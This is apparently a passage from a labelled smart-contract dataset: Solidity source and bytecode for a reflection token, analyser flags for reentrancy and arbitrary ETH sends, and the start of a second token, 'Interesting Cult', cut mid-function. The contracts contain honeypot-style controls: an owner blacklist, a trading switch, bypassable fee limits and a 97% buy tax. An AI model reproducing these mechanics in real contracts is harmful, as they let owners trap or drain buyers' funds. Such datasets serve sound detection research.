tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610543578063dd62ed3e14610563578063ea1644d5146105a9578063f2fde38b146105c957600080fd5b8063a2a957bb146104be578063a9059cbb146104de578063bfd79284146104fe578063c3c8cd801461052e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104685780638f9a55c01461048857806395d89b411461020957806398a5c3151461049e57600080fd5b80637d1db4a5146103f25780637f2feddc146104085780638203f5fe146104355780638da5cb5b1461044a57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101b65780631694505e1461027957806318160ddd146102b157806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024957600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b3c565b6105e9565b005b34801561021557600080fd5b506040805180820182526008815267474c454e434f524560c01b602082015290516102409190611c01565b60405180910390f35b34801561025557600080fd5b50610269610264366004611c56565b610688565b6040519015158152602001610240565b34801561028557600080fd5b50601354610299906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b3480156102bd57600080fd5b50670de0b6b3a76400005b604051908152602001610240565b3480156102e257600080fd5b506102696102f1366004611c82565b61069f565b34801561030257600080fd5b506102c860175481565b34801561031857600080fd5b5060405160098152602001610240565b34801561033457600080fd5b50601454610299906001600160a01b031681565b34801561035457600080fd5b50610207610363366004611cc3565b610708565b34801561037457600080fd5b50610207610383366004611cf0565b610753565b34801561039457600080fd5b5061020761079b565b3480156103a957600080fd5b506102c86103b8366004611cc3565b6107c8565b3480156103c957600080fd5b506102076107ea565b3480156103de57600080fd5b506102076103ed366004611d0b565b61085e565b3480156103fe57600080fd5b506102c860155481565b34801561041457600080fd5b506102c8610423366004611cc3565b60116020526000908152604090205481565b34801561044157600080fd5b506102076108a0565b34801561045657600080fd5b506000546001600160a01b0316610299565b34801561047457600080fd5b50610207610483366004611cf0565b610a85565b34801561049457600080fd5b506102c860165481565b3480156104aa57600080fd5b506102076104b9366004611d0b565b610ae4565b3480156104ca57600080fd5b506102076104d9366004611d24565b610b13565b3480156104ea57600080fd5b506102696104f9366004611c56565b610b6d565b34801561050a57600080fd5b50610269610519366004611cc3565b60106020526000908152604090205460ff1681565b34801561053a57600080fd5b50610207610b7a565b34801561054f57600080fd5b5061020761055e366004611d56565b610bb0565b34801561056f57600080fd5b506102c861057e366004611dda565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b557600080fd5b506102076105c4366004611d0b565b610c51565b3480156105d557600080fd5b506102076105e4366004611cc3565b610c80565b6000546001600160a01b0316331461061c5760405162461bcd60e51b815260040161061390611e13565b60405180910390fd5b60005b81518110156106845760016010600084848151811061064057610640611e48565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067c81611e74565b91505061061f565b5050565b6000610695338484610d6a565b5060015b92915050565b60006106ac848484610e8e565b6106fe84336106f985604051806060016040528060288152602001611f8e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113ca565b610d6a565b5060019392505050565b6000546001600160a01b031633146107325760405162461bcd60e51b815260040161061390611e13565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077d5760405162461bcd60e51b815260040161061390611e13565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107bb57600080fd5b476107c581611404565b50565b6001600160a01b0381166000908152600260205260408120546106999061143e565b6000546001600160a01b031633146108145760405162461bcd60e51b815260040161061390611e13565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108885760405162461bcd60e51b815260040161061390611e13565b6611c37937e08000811161089b57600080fd5b601555565b6000546001600160a01b031633146108ca5760405162461bcd60e51b815260040161061390611e13565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561092a57600080fd5b505afa15801561093e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190611e8f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109aa57600080fd5b505afa1580156109be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e29190611e8f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a2a57600080fd5b505af1158015610a3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a629190611e8f565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b815260040161061390611e13565b601454600160a01b900460ff1615610ac657600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b815260040161061390611e13565b601755565b6000546001600160a01b03163314610b3d5760405162461bcd60e51b815260040161061390611e13565b60095482111580610b505750600b548111155b610b5957600080fd5b600893909355600a91909155600955600b55565b6000610695338484610e8e565b6012546001600160a01b0316336001600160a01b031614610b9a57600080fd5b6000610ba5306107c8565b90506107c5816114c2565b6000546001600160a01b03163314610bda5760405162461bcd60e51b815260040161061390611e13565b60005b82811015610c4b578160056000868685818110610bfc57610bfc611e48565b9050602002016020810190610c119190611cc3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4381611e74565b915050610bdd565b50505050565b6000546001600160a01b03163314610c7b5760405162461bcd60e51b815260040161061390611e13565b601655565b6000546001600160a01b03163314610caa5760405162461bcd60e51b815260040161061390611e13565b6001600160a01b038116610d0f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610613565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610613565b6001600160a01b038216610e2d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610613565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610613565b6001600160a01b038216610f545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610613565b60008111610fb65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610613565b6000546001600160a01b03848116911614801590610fe257506000546001600160a01b03838116911614155b156112c357601454600160a01b900460ff1661107b576000546001600160a01b0384811691161461107b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610613565b6015548111156110cd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610613565b6001600160a01b03831660009081526010602052604090205460ff1615801561110f57506001600160a01b03821660009081526010602052604090205460ff16155b6111675760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610613565b6014546001600160a01b038381169116146111ec5760165481611189846107c8565b6111939190611eac565b106111ec5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610613565b60006111f7306107c8565b6017546015549192508210159082106112105760155491505b8080156112275750601454600160a81b900460ff16155b801561124157506014546001600160a01b03868116911614155b80156112565750601454600160b01b900460ff165b801561127b57506001600160a01b03851660009081526005602052604090205460ff16155b80156112a057506001600160a01b03841660009081526005602052604090205460ff16155b156112c0576112ae826114c2565b4780156112be576112be47611404565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130557506001600160a01b03831660009081526005602052604090205460ff165b8061133757506014546001600160a01b0385811691161480159061133757506014546001600160a01b03848116911614155b15611344575060006113be565b6014546001600160a01b03858116911614801561136f57506013546001600160a01b03848116911614155b1561138157600854600c55600954600d555b6014546001600160a01b0384811691161480156113ac57506013546001600160a01b03858116911614155b156113be57600a54600c55600b54600d555b610c4b8484848461164b565b600081848411156113ee5760405162461bcd60e51b81526004016106139190611c01565b5060006113fb8486611ec4565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610684573d6000803e3d6000fd5b60006006548211156114a55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610613565b60006114af611679565b90506114bb838261169c565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150a5761150a611e48565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561155e57600080fd5b505afa158015611572573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115969190611e8f565b816001815181106115a9576115a9611e48565b6001600160a01b0392831660209182029290920101526013546115cf9130911684610d6a565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611608908590600090869030904290600401611edb565b600060405180830381600087803b15801561162257600080fd5b505af1158015611636573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611658576116586116de565b61166384848461170c565b80610c4b57610c4b600e54600c55600f54600d55565b6000806000611686611803565b9092509050611695828261169c565b9250505090565b60006114bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611843565b600c541580156116ee5750600d54155b156116f557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171e87611871565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061175090876118ce565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177f9086611910565b6001600160a01b0389166000908152600260205260409020556117a18161196f565b6117ab84836119b9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117f091815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061181e828261169c565b82101561183a57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836118645760405162461bcd60e51b81526004016106139190611c01565b5060006113fb8486611f4c565b600080600080600080600080600061188e8a600c54600d546119dd565b925092509250600061189e611679565b905060008060006118b18e878787611a32565b919e509c509a509598509396509194505050505091939550919395565b60006114bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ca565b60008061191d8385611eac565b9050838110156114bb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610613565b6000611979611679565b905060006119878383611a82565b306000908152600260205260409020549091506119a49082611910565b30600090815260026020526040902055505050565b6006546119c690836118ce565b6006556007546119d69082611910565b6007555050565b60008080806119f760646119f18989611a82565b9061169c565b90506000611a0a60646119f18a89611a82565b90506000611a2282611a1c8b866118ce565b906118ce565b9992985090965090945050505050565b6000808080611a418886611a82565b90506000611a4f8887611a82565b90506000611a5d8888611a82565b90506000611a6f82611a1c86866118ce565b939b939a50919850919650505050505050565b600082611a9157506000610699565b6000611a9d8385611f6e565b905082611aaa8583611f4c565b146114bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610613565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c557600080fd5b8035611b3781611b17565b919050565b60006020808385031215611b4f57600080fd5b823567ffffffffffffffff80821115611b6757600080fd5b818501915085601f830112611b7b57600080fd5b813581811115611b8d57611b8d611b01565b8060051b604051601f19603f83011681018181108582111715611bb257611bb2611b01565b604052918252848201925083810185019188831115611bd057600080fd5b938501935b82851015611bf557611be685611b2c565b84529385019392850192611bd5565b98975050505050505050565b600060208083528351808285015260005b81811015611c2e57858101830151858201604001528201611c12565b81811115611c40576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6957600080fd5b8235611c7481611b17565b946020939093013593505050565b600080600060608486031215611c9757600080fd5b8335611ca281611b17565b92506020840135611cb281611b17565b929592945050506040919091013590565b600060208284031215611cd557600080fd5b81356114bb81611b17565b80358015158114611b3757600080fd5b600060208284031215611d0257600080fd5b6114bb82611ce0565b600060208284031215611d1d57600080fd5b5035919050565b60008060008060808587031215611d3a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6b57600080fd5b833567ffffffffffffffff80821115611d8357600080fd5b818601915086601f830112611d9757600080fd5b813581811115611da657600080fd5b8760208260051b8501011115611dbb57600080fd5b602092830195509350611dd19186019050611ce0565b90509250925092565b60008060408385031215611ded57600080fd5b8235611df881611b17565b91506020830135611e0881611b17565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e8857611e88611e5e565b5060010190565b600060208284031215611ea157600080fd5b81516114bb81611b17565b60008219821115611ebf57611ebf611e5e565b500190565b600082821015611ed657611ed6611e5e565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f2b5784516001600160a01b031683529383019391830191600101611f06565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8857611f88611e5e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203b65eb6630e8f23a1d010c84893389f9ec45c17892fd7691a194d6bf28f76eac64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
240
0xcd9ae5f5cc8feea91e7101a2b3f56f03ed4d41c6
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract InterestingCult is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Interesting Cult"; string private constant _symbol = "ICULT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x1419f4232BA7f3f36d7C494D244102ec84FcE74F); address payable private _marketingAddress = payable(0x1419f4232BA7f3f36d7C494D244102ec84FcE74F); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 5000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount 